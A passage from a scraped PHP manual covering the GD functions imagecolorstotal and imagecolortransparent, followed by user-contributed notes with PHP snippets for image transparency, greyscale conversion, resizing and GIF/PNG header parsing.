        $red = ( $index["red"] * 0.393 + $index["green"] * 0.769 + $index["blue"] * 0.189 ) / 1.351;
        $green = ( $index["red"] * 0.349 + $index["green"] * 0.686 + $index["blue"] * 0.168 ) / 1.203;
        $blue = ( $index["red"] * 0.272 + $index["green"] * 0.534 + $index["blue"] * 0.131 ) / 2.140;
        imagecolorset( $img, $i, $red, $green, $blue );
    }
}

?>
adspeed.com 24-Aug-2005 01:05
To correct m4551 at abasoft dot it example:

ImageTrueColorToPalette($im,1,$t);

might give less colors than $t, so the for loop should call "$i<ImageColorsTotal($im)" instead of "$i<$t" just to be sure, or you'll get the warning: Color index [0-9] out of range
strozek(a)deas()harvard()edu 25-Jun-2004 10:32
Regarding m4551's method of conversion -- the actual CCIR-approved RGB-to-grayscale conversion is as follows:

grayscale component = 0.2125*R + 0.7154*G + 0.0721*B

(cf. CCIR Recommendation 709 for modern monitors)
m4551 at abasoft dot it 23-Apr-2004 06:23
here's a function to greyscale an image even from a truecolor source (jpeg or png).

slightly poor quality, but very fast...

function imagegreyscale(&$img, $dither=1) {
    if (!($t = imagecolorstotal($img))) {
        $t = 256;
        imagetruecolortopalette($img, $dither, $t);
    }
    for ($c = 0; $c < $t; $c++) {
        $col = imagecolorsforindex($img, $c);
        $min = min($col['red'],$col['green'],$col['blue']);
        $max = max($col['red'],$col['green'],$col['blue']);
        $i = ($max+$min)/2;
        imagecolorset($img, $c, $i, $i, $i);
    }
}


Find out the number of colors in an image's palette

  • « imagecolorsforindex
  • imagecolortransparent »
  • PHP Manual
  • GD and Image Functions
  • Find out the number of colors in an image's palette

imagecolorstotal

(PHP 4, PHP 5)

imagecolorstotal — Find out the number of colors in an image's palette

Description

int imagecolorstotal ( resource $image )

Returns the number of colors in an image palette.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatefromgif().

Return Values

Returns the number of colors in the specified image's palette or 0 for truecolor images.

Examples

Example #1 Getting total number of colors in an image using imagecolorstotal()

<?php
// Create image instance
$im = imagecreatefromgif('php.gif');

echo 'Total colors in image: ' . imagecolorstotal($im);

// Free image
imagedestroy($im);
?>

The above example will output something similar to:

Total colors in image: 128

See Also

  • imagecolorat() - Get the index of the color of a pixel
  • imagecolorsforindex() - Get the colors for an index
  • imageistruecolor() - Finds whether an image is a truecolor image

User Contributed Notes

There are no user contributed notes for this page.


Define a color as transparent

  • « imagecolorstotal
  • imageconvolution »
  • PHP Manual
  • GD and Image Functions
  • Define a color as transparent

imagecolortransparent

(PHP 4, PHP 5)

imagecolortransparent — Define a color as transparent

Description

int imagecolortransparent ( resource $image [, int $color ] )

Sets the transparent color in the given image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

color

A color identifier created with imagecolorallocate().

Return Values

The identifier of the new (or current, if none is specified) transparent color is returned. If color is not specified, and the image has no transparent color, the returned identifier will be -1.

Examples

Example #1 imagecolortransparent() example

<?php
// Create a 55x30 image
$im = imagecreatetruecolor(55, 30);
$red = imagecolorallocate($im, 255, 0, 0);
$black = imagecolorallocate($im, 0, 0, 0);

// Make the background transparent
imagecolortransparent($im, $black);

// Draw a red rectangle
imagefilledrectangle($im, 4, 4, 50, 25, $red);

// Save the image
imagepng($im, './imagecolortransparent.png');
imagedestroy($im);
?>

The above example will output something similar to:

Output of example : imagecolortransparent()

Notes

Note:

Transparency is copied only with imagecopymerge() and true color images, not with imagecopy() or pallete images.

Note:

The transparent color is a property of the image, transparency is not a property of the color. Once you have set a color to be the transparent color, any regions of the image in that color that were drawn previously will be transparent.

User Contributed Notes

romanenko.alex.v at gmail.com 02-Oct-2014 05:02
This function has a very strange behaviour with GD version > 2. It returns count of colors instead of -1 (as noted) if cannot find transparent color. Be carefull!
john at jbwalker dot com 24-Jan-2012 05:42
A transparent background with text doesn't seem to work very well because of the antialiasing . But I tried the following kluge and it turned out very well:

<?php
   $im = imagecreatetruecolor(100,20);
   $almostblack = imagecolorallocate($im,254,254,254);
   imagefill($im,0,0,$almostblack);
   $black = imagecolorallocate($im,0,0,0);
   imagecolortransparent($im,$almostblack);
   //... set x and y..
   imagettftext($im,8,0,$x,$y,$black,"calibri.ttf",$txt);
?>
email at vladislav dot net 22-Jun-2011 11:42
Pay attention, that some GIF images may not include a transparent color. A good example of forced transparency in resized GIF image was given by markglibres at yahoo dot com 29-Mar-2009 02:48. But sometimes the transparent color in GIF images can be not set. The problem is, that the color you force to be transparent can be used in the original GIF as opaque and you will loose that color in resized image. The solution is not to use some default transparent color and to leave the resized image without transparent color (the same as original GIF). I used (nearly) the following code to make resized GIF images trnsparent  only when the transparency is needed:

<?php
/* ... */

$img = ImageCreateFromGIF($f); /* create image from existing GIF: original image file name $f you may take from where you need */
$transparent_index = ImageColorTransparent($img); /* gives the index of current transparent color or -1 */
if($transparent_index!=(-1)) $transparent_color = ImageColorsForIndex($img,$transparent_index);

/* ... */

$img_resized = ImageCreateTrueColor( $nw, $nh ); /* (the new width $nw and height $nh must be defined before) */
if(!empty($transparent_color)) /* simple check to find wether transparent color was set or not */
{
    $transparent_new = ImageColorAllocate( $img_resized, $transparent_color['red'], $transparent_color['green'], $transparent_color['blue'] );
    $transparent_new_index = ImageColorTransparent( $img_resized, $transparent_new );
    ImageFill( $img_resized, 0,0, $transparent_new_index ); /* don't forget to fill the new image with the transparent color */
}
list($w,$h) = GetImageSize($f); /* defines the original width $w and height $h */
if( ImageCopyResized( $img_resized, $img, 0,0, 0,0, $nw,$nh, $w,$h ) ) /* resized copying and replacing the original image */
{
    ImageDestroy($img);
    $img = $img_resized;
}

/* ... */

header('Content-Type: image/gif');
ImageGIF($img);
ImageDestroy($img);
?>

P.S.
If there some errors, I hope you could understood the idea.
admin at fastproxyservers dot org 30-Sep-2010 06:00
I would like to share with others how to make PNG image transparent. I have tried almost all examples described on that page but none of them work for me. Finally I found the solution, but there is a bit cheating :) but who cares if it works?

So when I tried to allocate white (as an example) color as a transparent, it worked randomly (lets say 1 in 10 examples). That in turn pushed me to the idea that the problem is that white color is already exist in color palette. So if I try to add another white color with DIFFERENT index as a transparent, that will cause error.

So I found the solution, instead of adding new index, I searched for the white color’s index in the color palette and made it defined as transparent :) The best idea is to use not a white but left bottom corner as transparent color (I guess that s standard for some other software languages).

<?php
$index = imagecolorexact($this->image, 255, 255, 255);
imagecolortransparent($this->image, $index);
?>

All you need is to add that two lines before outputting your result.
ajamal 22-May-2009 03:06
This might be of importance to newbies...If you are trying to create GIF's with transparencies, stick to the 216 colour pallet for all colours on the image... or transparencies wont work...at the very least yo will get dithering...
markglibres at yahoo dot com 29-Mar-2009 03:48
I've made a very simple script that will retain transparency of images especially when resizing.

NOTE: Transparency is only supported on GIF and PNG files.

Parameters:

$new_image = image resource identifier such as returned by imagecreatetruecolor(). must be passed by reference
$image_source = image resource identifier returned by imagecreatefromjpeg, imagecreatefromgif and imagecreatefrompng. must be passed by reference

<?php
function setTransparency($new_image,$image_source)
    {

            $transparencyIndex = imagecolortransparent($image_source);
            $transparencyColor = array('red' => 255, 'green' => 255, 'blue' => 255);

            if ($transparencyIndex >= 0) {
                $transparencyColor    = imagecolorsforindex($image_source, $transparencyIndex);
            }

            $transparencyIndex    = imagecolorallocate($new_image, $transparencyColor['red'], $transparencyColor['green'], $transparencyColor['blue']);
            imagefill($new_image, 0, 0, $transparencyIndex);
             imagecolortransparent($new_image, $transparencyIndex);

    }
?>

Sample Usage: (resizing)

<?php
$image_source = imagecreatefrompng('test.png');
$new_image = imagecreatetruecolor($width, $height);
setTransparency($new_image,$image_source);
imagecopyresampled($new_image, $image_source, 0, 0, 0, 0, $new_width, $new_height, $old_width, $old_height);
?>
designovermatter at gmail dot com 14-Jan-2009 01:03
I was searching for a PHP code that makes transparent rounded corners and found none. So had to write my own:

<?php

$image = "v.png";
$corner = 40;

file_exists($image) or die("No such file: ".$image); //check if image exists before processing

$dim = getimagesize($image);

//create from type handle
if($dim[2] == 1) $new = imagecreatefromjpeg($image);
elseif($dim[2] == 2) $new = imagecreatefromgif($image);
elseif($dim[2] == 3) $new = imagecreatefrompng($image);
else die("Unsupported format: ".$dim[2]);

//find colorcode
$palette = imagecreatetruecolor($dim[0], $dim[1]);
$found = false;
while($found == false) {

    $r = rand(0, 255);
    $g = rand(0, 255);
    $b = rand(0, 255);

    if(imagecolorexact($new, $r, $g, $b) != (-1)) {

        $colorcode = imagecolorallocate($palette, $r, $g, $b);
        $found = true;

    }

}

//draw corners
imagearc($new, $corner-1, $corner-1, $corner*2, $corner*2, 180, 270, $colorcode);
imagefilltoborder($new, 0, 0, $colorcode, $colorcode);

imagearc($new, $dim[0]-$corner, $corner-1, $corner*2, $corner*2, 270, 0, $colorcode);
imagefilltoborder($new, $dim[0], 0, $colorcode, $colorcode);

imagearc($new, $corner-1, $dim[1]-$corner, $corner*2, $corner*2, 90, 180, $colorcode);
imagefilltoborder($new, 0, $dim[1], $colorcode, $colorcode);

imagearc($new, $dim[0]-$corner, $dim[1]-$corner, $corner*2, $corner*2, 0, 90, $colorcode);
imagefilltoborder($new, $dim[1], $dim[1], $colorcode, $colorcode);

imagecolortransparent($new, $colorcode); //make corners transparent

//display rounded image
header("Content: image/png");
imagepng($new);
imagedestroy($new);

?>

It draws an arc and fills to border with a colorcode - a color that doesnot exist in current image, to make it transparent in the end.
steved at HaHaHa dot com dot au 25-Oct-2008 07:28
How to center your text both vertically and horizontally in a GD image:

<?php
//get box size
$box = imagettfbbox($titlesize, 0, $titlefont, $title);

//Find out the width and height of the text box
$textW = $box[2] - $box[0];
$textH = $box[5] - $box[3];

// Calculate the positions
$positionLeft = ($width - $textW)/2;
$positionTop = (($height - $textH)/2);

// Add some text
if($align=="center"){
imagettftext($pic, size, angle, $positionLeft, $positionTop, colour, font, message);
?>
cca220v 11-Sep-2008 11:47
I found out the hard way that for two png's with alpha transparency to correctly stack you need to explicitly re-enable alpha blending.

$img=imagecreatetruecolor($dx,$dy);
$img1=imagecreatefrompng($png1); //first layer
$img2=imagecreatefrompng($png2); //second layer (smaller image)

imagealphablending($img, false);
$transparent = imagecolorallocatealpha($img, 0, 0, 0, 127);
imagefill($img, 0, 0, $transparent);
imagesavealpha($img,true);
imagealphablending($img, true); //removing this causes the second layer's transparency to go trough the 1st layer erasing it (the image >is< transparent there ... as is the 2nd layer ... but not the 1st so it should not be transparent)

imagecopyresampled($img,$img1,
imagecopyresampled($img,$img2,
yousuf at philipz dot com 01-Apr-2008 08:45
Well 8-bit gif and png files can have multiple transparent colors, so detecting the transparent color by manually looking into the file or using imagecolortransparent and using the detected rgb color as the background color when imagecopy'ing (or other image copying functions) on a true color image will not work. The only means of getting the transparent pixels to appear is to copy the pixel colors one by one to a new true color image. Here's some code i wrote to do this.

$original_image = @imagecreatefromgif( $original_image_file );

$original_image_width = imagesx( $original_image );
$original_image_height = imagesy( $original_image );

if ( !imageistruecolor($original_image) ) {
   # detects if its non-true color image
   if ( imagecolortransparent($original_image) >= 0 ) {
      # detects if any of the color palette has been set to transparent
      $truecolor = imagecreatetruecolor( $original_image_width, $original_image_height );
      for ($x = 0; $x < $original_image_width; $x++) {
         for ($y = 0; $y < $original_image_height; $y++) {
            $color_index = ImageColorAt($original_image, $x, $y);
            if ( !$color_palette[$color_index] ) {
               $rgb = imagecolorsforindex($original_image, $color_index);
               $color_to_set = imagecolorallocate($truecolor, $rgb['red'], $rgb['green'], $rgb['blue']);
               $color_palette[$color_index] = $color_to_set;
            } else {
               $color_to_set = $color_palette[$color_index];
            }
            imagesetpixel($truecolor, $x, $y, $color_to_set);
         }
      }
      imagedestroy($original_image);
      $original_image = $truecolor;
   }
}
kroccamen, gmail 27-Mar-2008 02:56
Sorry, below should be:

<?php
$is_alpha = ord (file_get_contents ($file_path, false, null, 25, 1)) & 4;
?>

much better :)
Both types 4 (greyscale transparent png), and 6 (colour transparent png) have bit 4 set, so there's no need to bitwise twice and there's no need for == as the return value will be 4 or 0, which is easily interpreted as true or false elsewhere in your code.

note: file_get_contents isn't reading the whole file in this instance, just 1 byte on its own and that's it, so you can be assured this is fast and safe.
kroccamen, gmail 25-Mar-2008 01:44
@wesley gunn:
Thank you very, very much for the code to determine if a PNG is 24 or 32-bit :)
Here's an improved version in one line without using a file-handle

<?php
$is_alpha = ((ord (
    file_get_contents ($filename, false, null, 25, 1)
) & 6) & 4) == 4;
?>

Gives true for a PNG with alpha, false otherwise.
This cannot detect 8-bit PNGs with transparency, but you could do that by searching the file contents for the presence of "PLTE" *AND* "tRNS".
tomas at cimax dot com 10-Mar-2008 09:19
On some versions you must set the index number of that color in color pallete rather than the color! So if you allocate color with imagecolorallocate, that this color gets 0 index on color pallete so than you must call: imagecolortransparent ( resource $image , 0 ) to make the image transparent!
Anonymous 28-Feb-2008 11:52
I came across some images that have transparent color allocated even if they don't have any transparent pixels (transparent color is unused).
fmkaiba at optonline dot net 07-Feb-2008 05:05
This is my 'perfect' (i use that word lightly) thumbnail generation script, switch '$transparency' to true to have it do its best to handle transparency in gifs and pngs. this code is built off of comments and advice of everyone else here, and i do not deserve full credit. So far this handles every error i can throw at it.
<?php
function createthumb($name, $newname, $new_w, $new_h, $border=false, $transparency=true, $base64=false) {
    if(file_exists($newname))
        @unlink($newname);
    if(!file_exists($name))
        return false;
    $arr = split("\.",$name);
    $ext = $arr[count($arr)-1];

    if($ext=="jpeg" || $ext=="jpg"){
        $img = @imagecreatefromjpeg($name);
    } elseif($ext=="png"){
        $img = @imagecreatefrompng($name);
    } elseif($ext=="gif") {
        $img = @imagecreatefromgif($name);
    }
    if(!$img)
        return false;
    $old_x = imageSX($img);
    $old_y = imageSY($img);
    if($old_x < $new_w && $old_y < $new_h) {
        $thumb_w = $old_x;
        $thumb_h = $old_y;
    } elseif ($old_x > $old_y) {
        $thumb_w = $new_w;
        $thumb_h = floor(($old_y*($new_h/$old_x)));
    } elseif ($old_x < $old_y) {
        $thumb_w = floor($old_x*($new_w/$old_y));
        $thumb_h = $new_h;
    } elseif ($old_x == $old_y) {
        $thumb_w = $new_w;
        $thumb_h = $new_h;
    }
    $thumb_w = ($thumb_w<1) ? 1 : $thumb_w;
    $thumb_h = ($thumb_h<1) ? 1 : $thumb_h;
    $new_img = ImageCreateTrueColor($thumb_w, $thumb_h);

    if($transparency) {
        if($ext=="png") {
            imagealphablending($new_img, false);
            $colorTransparent = imagecolorallocatealpha($new_img, 0, 0, 0, 127);
            imagefill($new_img, 0, 0, $colorTransparent);
            imagesavealpha($new_img, true);
        } elseif($ext=="gif") {
            $trnprt_indx = imagecolortransparent($img);
            if ($trnprt_indx >= 0) {
                //its transparent
                $trnprt_color = imagecolorsforindex($img, $trnprt_indx);
                $trnprt_indx = imagecolorallocate($new_img, $trnprt_color['red'], $trnprt_color['green'], $trnprt_color['blue']);
                imagefill($new_img, 0, 0, $trnprt_indx);
                imagecolortransparent($new_img, $trnprt_indx);
            }
        }
    } else {
        Imagefill($new_img, 0, 0, imagecolorallocate($new_img, 255, 255, 255));
    }

    imagecopyresampled($new_img, $img, 0,0,0,0, $thumb_w, $thumb_h, $old_x, $old_y);
    if($border) {
        $black = imagecolorallocate($new_img, 0, 0, 0);
        imagerectangle($new_img,0,0, $thumb_w, $thumb_h, $black);
    }
    if($base64) {
        ob_start();
        imagepng($new_img);
        $img = ob_get_contents();
        ob_end_clean();
        $return = base64_encode($img);
    } else {
        if($ext=="jpeg" || $ext=="jpg"){
            imagejpeg($new_img, $newname);
            $return = true;
        } elseif($ext=="png"){
            imagepng($new_img, $newname);
            $return = true;
        } elseif($ext=="gif") {
            imagegif($new_img, $newname);
            $return = true;
        }
    }
    imagedestroy($new_img);
    imagedestroy($img);
    return $return;
}
//example useage
createthumb("img.gif", "tn_img.gif", 64,64,true, true, false);
?>
wesley dot gunn at email dot it 13-Nov-2007 06:27
a simple way to check png with alpha channel reading IHDR PNG HEADER

$readPng =    fopen    ($argSourceImagePath, "rb");
$readAlp =    fread    ($readPng, 52);
            fclose    ($readPng);

if(substr(bin2hex($readAlp),50,2) == "04" || substr(bin2hex($readAlp),50,2) == "06")
echo("Png has alpha");
Rob 09-Oct-2007 04:55
This block of code should preserve transparency when resizing an image using the GD library.

<?php
/**
 * Try to preserve transparency info
 * $orig_type - Original Image Type
 * $orig_img  - GD Image Resource for original image
 * $new_img   - GD Image Resource for resized image
 */

// Transparency only available for GIFs & PNGs
if ( ($orig_type == IMAGETYPE_GIF) || ($orig_type == IMAGETYPE_PNG) ) {
    $trnprt_indx = imagecolortransparent($orig_img);

    // If we have a specific transparent color
    if ($trnprt_indx >= 0) {

        // Get the original image's transparent color's RGB values
        $trnprt_color    = imagecolorsforindex($orig_img, $trnprt_indx);

        // Allocate the same color in the new image resource
        $trnprt_indx    = imagecolorallocate($new_img, $trnprt_color['red'], $trnprt_color['green'], $trnprt_color['blue']);

        // Completely fill the background of the new image with allocated color.
        imagefill($new_img, 0, 0, $trnprt_indx);

        // Set the background color for new image to transparent
        imagecolortransparent($new_img, $trnprt_indx);

    // Always make a transparent background color for PNGs that don't have one allocated already
    } elseif ($orig_type == IMAGETYPE_PNG) {

        // Turn off transparency blending (temporarily)
        imagealphablending($new_img, false);

        // Create a new transparent color for image
        $color = imagecolorallocatealpha($new_img, 0, 0, 0, 127);

        // Completely fill the background of the new image with allocated color.
        imagefill($this->new_img, 0, 0, $color);

        // Restore transparency blending
        imagesavealpha($this->new_img, true);
    }
}
?>
kevinoe at gmail 11-Sep-2007 10:39
To resize a transparent image into a thumbnail while keeping its transparency. The quality of the thumbnail is pretty bad though.. but it is transparent.

$image = ImageCreateFromGIF('transparentimage.gif');
$img_width = ImagesX($image);
$img_height = ImagesY($image);

$new_width = '100';
$new_height = ($new_width * $img_height) / $img_width;

$resized = imagecreatetruecolor($new_width, $new_height);

$colorTransparent = imagecolortransparent($image);
imagepalettecopy($image, $resized);
imagefill($resized, 0, 0, $colorTransparent);
imagecolortransparent($resized, $colorTransparent);

imagetruecolortopalette($resized, true, 256);

imagecopyresized($resized, $image, 0, 0, 0, 0, $new_width, $new_height, $img_width, $img_height);
Mikasto 15-Aug-2007 01:53
To resize transparent PNG (if image is transparent & ImageColorTransparent() returns -1):
1) create a new image with the new sizes
2) make the new image all transparent
3) turn off the alpha blending for the new image (to keep the alpha channel when copy data)
4) do copyresampled or copyresized into new image

PHP code:
// 1
$im2 = ImageCreateTrueColor($w, $h);
// 2
ImageColorTransparent($im2, ImageColorAllocate($im2, 0, 0, 0));
// 3
ImageAlphaBlending($im2, false);
// 4
ImageCopyResampled($im2, $im, 0, 0, 0, 0, $w, $h, ImageSX($im), ImageSY($im));
erik at vectorsector dot net 13-Jul-2007 06:20
This script creates transparency for a unspecific RBG color for an already created PNG image.  It also includes script of overlay text that does not get ruined in the process.

<?php

header("Content-type: image/png");
$image = imagecreatetruecolor(250, 250);
$string = $_GET['text'];
$im     = imagecreatefrompng("dynIcon.png");
$img = imagecreatetruecolor(16,16);
$orange = imagecolorallocate($im, 220, 210, 60);
$bg_color = imagecolorat($im,1,1);
$px     = (imagesx($im) - 3 * strlen($string)) / 2;
imagecolortransparent($im, $bg_color);
imagestring($im, 3, $px, 5, $string, $orange);
imagepng($im);
imagedestroy($im);

?>

Use $bg_color = imagecolorat($im,1,1); for instance, if you made the transparent color in photoshop by clearing out all the color leaving you with the checkered background showing you it's empty.
cinymini 14-Dec-2006 08:17
When you use palette images (created with imagecreate()), the first color allocated is the background color. This color cannot be used for transparency. So if you want to make the background transparent, first allocate a dummy background color, then allocate the real background color and declare this is as transparent.
glenn at bengeweb dot co dot nz 18-Nov-2006 05:03
in reference to webmaster at webnetwizard dotco dotuk who had a rather complicated method of determining if a GIF had any transparency set ...

imagecolortransparent will return -1 if no transparency is found.

eg:

$transColorIndexMain = imageColorTransparent($mainImgObj);
if ($transColorIndexMain >= 0 ) {
       # GIF has transparency ... ;
}

Current PHP Version: 4.4.4
[GD Version] => bundled (2.0.28 compatible)
Blaine Ehrhart 07-Jul-2006 11:59
This script creates transparency for a specific RBG color for an already created GIF image.
<?php
    $im = imagecreatefromgif('trans.gif');
    $img = imagecreatetruecolor(16,16);
    $trans = imagecolorallocate($img,255,99,140);
    imagecolortransparent($img,$trans);
    imagecopy($img,$im,0,0,0,0,16,16);
    imagetruecolortopalette($img, true, 256);
    imageinterlace($img);
    imagegif($img,'trans.gif');
    imagedestroy($img);
?>
Joachim Kruyswijk 20-Oct-2005 01:20
A negative color number will turn antialiasing off, but even a positive number chosen for transparency may affect antialiasing. If the text (created with imagettftext) in your image looks horrible, try using a higher color number.
contact at wdschools dot com 19-Oct-2005 06:02
Transparent GIF w/ text from TTF Font
-------------------------------------
$image = imagecreatetruecolor(192, 36);
$trans_color = imagecolorallocate($image, 255, 0, 0);
$color = imagecolorallocate($image, 255, 255, 255);
imagecolortransparent($image, $trans_color);
imagettftext($image, 10, 0, 10, 23, $color, "impact.ttf", " MENU ITEM");
imagegif($image, "output.gif");
imagedestroy($image);
ingrid 09-Jun-2005 06:37
This script should take an animated GIF whit a white background transparancy, put some white=transparant text on it, and can be used in any page using the filename and the normal image tags.

Everything works well, exept the animation. The GIF animation stands still. Don't know how to keep the animation  animated. Is it possible in PHP?

<?php

$TextFile = "teller.txt";
$Count = trim(file_get_contents($TextFile));
$FP = fopen($TextFile, "r");
$Count=fgets($FP, 4096);
fclose ($FP);
settype($Count, "integer");
$Count++;
if ($FP = fopen ($TextFile, "w")){
fwrite ($FP, $Count);
fclose ($FP);
}

$image = "blad.gif";
$im    = imagecreatefromgif($image);
$white = imageColorAllocate ($im, 255, 255, 255);
$trans = imagecolortransparent($im,$white);
$hit = "$Count";
$ip = $_SERVER["REMOTE_ADDR"];

ImageString($im, 2, 30, 60,  " je bent bezoeker ", $white);
ImageString($im, 3, 20, 80, " $ip.$hit", $trans);

header("Content-Type: image/gif");
Imagegif($im,'',100);
ImageDestroy ($im);

?>
thomas at nindel dot net 20-Apr-2005 07:02
I wanted to have non-rectangular images being displayed on various website-backgrounds. piece of cake with png-24 and sane browsers, but not with IE. GIF-files are useless since they tend to have ugly edges.

So that's what i came up with, a script to merge a given PNG-24 against a background-image. The script only merges areas of partial transparency (think anti-aliased edges) of the PNG onto the background-image, leaving 100% transparent areas as they are. output is a 256-color gif with transparency.

<?PHP
  function alphaishMerge(&$img_unten, &$img_oben, &$transCol) {
    $sx = imagesx($img_unten);
    $sy = imagesy($img_oben);

    // just be sure
    imagealphablending($img_unten, TRUE);
    imagealphablending($img_oben, TRUE);

    // imagecopy respects alpha channels
    imagecopy($img_unten, $img_oben, 0, 0, 0, 0, $sx, $sy);

    for ($x = 0; $x < $sx; $x++) {
      for ($y = 0; $y < $sy; $y++) {

        // get RGBA of upper image
        $pxloben = imagecolorat($img_oben, $x, $y);
        $pxloben = imagecolorsforindex($img_oben, $pxloben);

        if ($pxloben['alpha'] == 127) {
          // if this pixel is fully transparent...
          // ...set it to the transparent color
          imagesetpixel($img_unten,$x,$y,$transCol);
        }
      }
    }
  }

  // images have to be the same size
  $bg_file = "background.jpg";
  $png_file ="kauscha.png";

  // background-image (jpg)
  $img_bg = imagecreatefromjpeg($bg_file);

  // image which is supposed to be put on the background (PNG-24)
  $img_png = imagecreatefrompng($png_file);

  // This color is the one getting transparent in the gif-file
  $transCol = imagecolorallocate($img_bg, 0, 0, 0);

  // magic
  alphaishMerge($img_bg, $img_png, $transCol);

  // reduce color depth
  imagetruecolortopalette($img_bg, FALSE, 255);

  // make it transparent
  $transCol = imagecolortransparent($img_bg, $transCol);

  header("Content-type: image/gif");
  imagegif($img_bg);
?>

i hope thats useful for anyone.
partyheld at HATESPAMgmail dot com 31-Mar-2005 06:35
Fred wrote:
<?php
$file['signatur']=      substr($result,0,3);
             $file['version']=        substr($result,3,3);
             $file['width']=          ord(substr($result,6,1))+ord(substr($result,7,1))*256;
             $file['height']=        ord(substr($result,8,1))+ord(substr($rsult,9,1))*256;
             $file['flag']=          ord(substr($result,10,1))>>7;
             $file['trans_red']=      ord(substr($result,ord(substr($result,11))*3,1));
             $file['trans_green']=    ord(substr($result,ord(substr($result,11))*3+1,1));
             $file['trans_blue']=    ord(substr($result,ord(substr($result,11))*3+2,1)) ;
?>

You should write such code like this:

<?php
   $file = array(
      "signatur"           => substr ($result, 0, 3),
      "version"            => substr ($result, 3, 3),
      "width"              => ord (substr ($result, 6, 1)) + ord (substr ($result, 7, 1)) * 256,
      "height"             => ord (substr ($result, 8, 1)) + ord(substr ($result, 9, 1)) * 256,
      "flag"               => ord (substr ($result, 10, 1)) >> 7,
      "trans_red"          => ord (substr ($result, ord (substr ($result, 11)) * 3,1)),
      "trans_green"        => ord (substr ($result, ord (substr($result, 11)) * 3 + 1, 1)),
      "trans_blue"         => ord (substr ($result, ord (substr($result, 11)) * 3 + 2, 1))
      );
?>

And there's a typo in line 4, sayin "rsult" instead of "result". I've got no time for checking your code any further, sorry.
raiserle 28-Mar-2005 05:52
it goes also more simply
i rather work with arrays
<?php
if(!function_exists('gif_info'))
{
    function gif_info($filename)
    {
             $fp=                     fopen($filename,'rb');
             $result=                 fread($fp,13);
             $file['signatur']=       substr($result,0,3);
             $file['version']=        substr($result,3,3);
             $file['width']=          ord(substr($result,6,1))+ord(substr($result,7,1))*256;
             $file['height']=         ord(substr($result,8,1))+ord(substr($rsult,9,1))*256;
             $file['flag']=           ord(substr($result,10,1))>>7;
             $file['trans_red']=      ord(substr($result,ord(substr($result,11))*3,1));
             $file['trans_green']=    ord(substr($result,ord(substr($result,11))*3+1,1));
             $file['trans_blue']=     ord(substr($result,ord(substr($result,11))*3+2,1)) ;
             fclose($fp);
             return $file;
    }
}
print_r(gif_info($_FILES['files']['temp_name']));
?>
talkback at codesponge dot com 17-Mar-2005 12:41
Only one color may be transparent in one image.  The last call to imagecolortransparent will be the color that is set to transparent.

I am processing button images that have a slightly different fill color than the background color outside the border of the button. I was hoping that I could just make both of those colors transparent and solve the problem.

Hope this tidbit of info will save you some time.
fred at webblake dot net 14-Jan-2005 05:17
Wow! I am actually surprized there are no functions to retrieve transparency information from the image. I assume I'm not missing anything since there are all kinds of notes about how to get around this limitation. At any rate, here is some code to read the gif file and retrieve the missing information. The code will speak volumes.

<?php

    class GifInfo
    {
        var $m_transparentRed;
        var $m_transparentGreen;
        var $m_transparentBlue;
        var $m_signature;
        var $m_version;
        var $m_width;
        var $m_height;
        var $m_width;
        var $m_height;
        var $m_colorFlag;
        var $m_backgroundIndex;

        function GifInfo($filename)
        {

            $fp                         = fopen($filename,"rb");
            $result                     = fread($fp,13);
            $this->m_signature     = substr($result,0,3);
            $this->m_version         = substr($result,3,3);
            $this->m_width         = ord(substr($result,6,1)) + ord(substr($result,7,1)) * 256;
            $this->m_height         = ord(substr($result,8,1)) + ord(substr($result,9,1)) * 256;
            $this->m_colorFlag    = ord(substr($result,10,1)) >> 7;
            $this->m_background     = ord(substr($result,11));

            if($this->m_colorFlag)
            {
                $tableSizeNeeded = ($this->m_background + 1) * 3;
                $result = fread($fp,$tableSizeNeeded);
                $this->m_transparentRed     = ord(substr($result,$this->m_background * 3,1));
                $this->m_transparentGreen     = ord(substr($result,$this->m_background * 3 + 1,1));
                $this->m_transparentBlue     = ord(substr($result,$this->m_background * 3 + 2,1));
            }
            fclose($fp);
        }
    }
?>

And to use this class....

<?php
   $size = getimagesize($userfile);

   $img2 = ImageCreate($w,$h);
   $gi = new GifInfo($userfile);

   if($gi->m_version == '89a' && $gi->m_colorFlag == 1)
   {
      $transparent = imagecolorallocate($img2,
      $gi->m_transparentRed,
      $gi->m_transparentGreen,
      $gi->m_transparentBlue);

      imagecolortransparent ($img2,$transparent);
   }
?>
webmaster at webnetwizard dotco dotuk 11-Jan-2005 10:24
I'm feeling particularly altruistic today, so here is the code to accompany the text I submitted about a script that 'intelligently' detects if an uploaded GIF has transparency or not, and creates a thumbnail accordingly:

    if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile))
    {
      $note = "Image was successfully uploaded.\n";
      // Now create thumbnail version of the uploaded image and save it to
      // folder "$fixPath/images/thumbs". First, we need to create a
      // resource "handle" for a copy of the uploaded image
      $img_error = false;
      list($width, $height, $type) = getimagesize($uploadfile);
      switch($type) // Allowed types: image/gif,image/jpeg,image/x-png
      {
        case 1: // GIF
          $src = @imagecreatefromgif($uploadfile);
          if (!$src)
            $img_error = true;
          break;
        case 2: // JPEG
         .
         .
         .
      case 3: // PNG
        .
        .
        .
       default:
          $img_error = true;
      }
      // resource handle for source image now in $src
      // Now calculate scaling factor and put in $sf
      if(!$img_error)
      {
        if($width >= $height && $width > 100)
          $sf = $width / 100;
        elseif($height > 100)
          $sf = $height / 100;
        else
          $sf = 1;
        $newwidth = intval($width / $sf);
        $newheight = intval($height / $sf);

        switch($type) // Allowed types: image/gif,image/jpeg,image/x-png
        {
          case 1: // GIF
            $tpcolor = imagecolorat($src, 0, 0);
            // in the real world, you'd better test all four corners, not just one!
            $dest = imagecreate($newwidth, $newheight);
            // $dest automatically has a black fill...
            imagepalettecopy($dest, $src);
            imagecopyresized($dest, $src, 0, 0, 0, 0, $newwidth, $newheight,
              $width, $height);
            $pixel_over_black = imagecolorat($dest, 0, 0);
            // ...but now make the fill white...
            $bg = imagecolorallocate($dest, 255, 255, 255);
            imagefilledrectangle($dest, 0, 0, $newwidth, $newheight,
              $bg);
            imagecopyresized($dest, $src, 0, 0, 0, 0, $newwidth, $newheight,
              $width, $height);
            $pixel_over_white = imagecolorat($dest, 0, 0);
            // ...to test if transparency causes the fill color to show through:
            if($pixel_over_black != $pixel_over_white)
            {
              // Background IS transparent
              imagefilledrectangle($dest, 0, 0, $newwidth, $newheight,
                $tpcolor);
              imagecopyresized($dest, $src, 0, 0, 0, 0, $newwidth,
                $newheight, $width, $height);
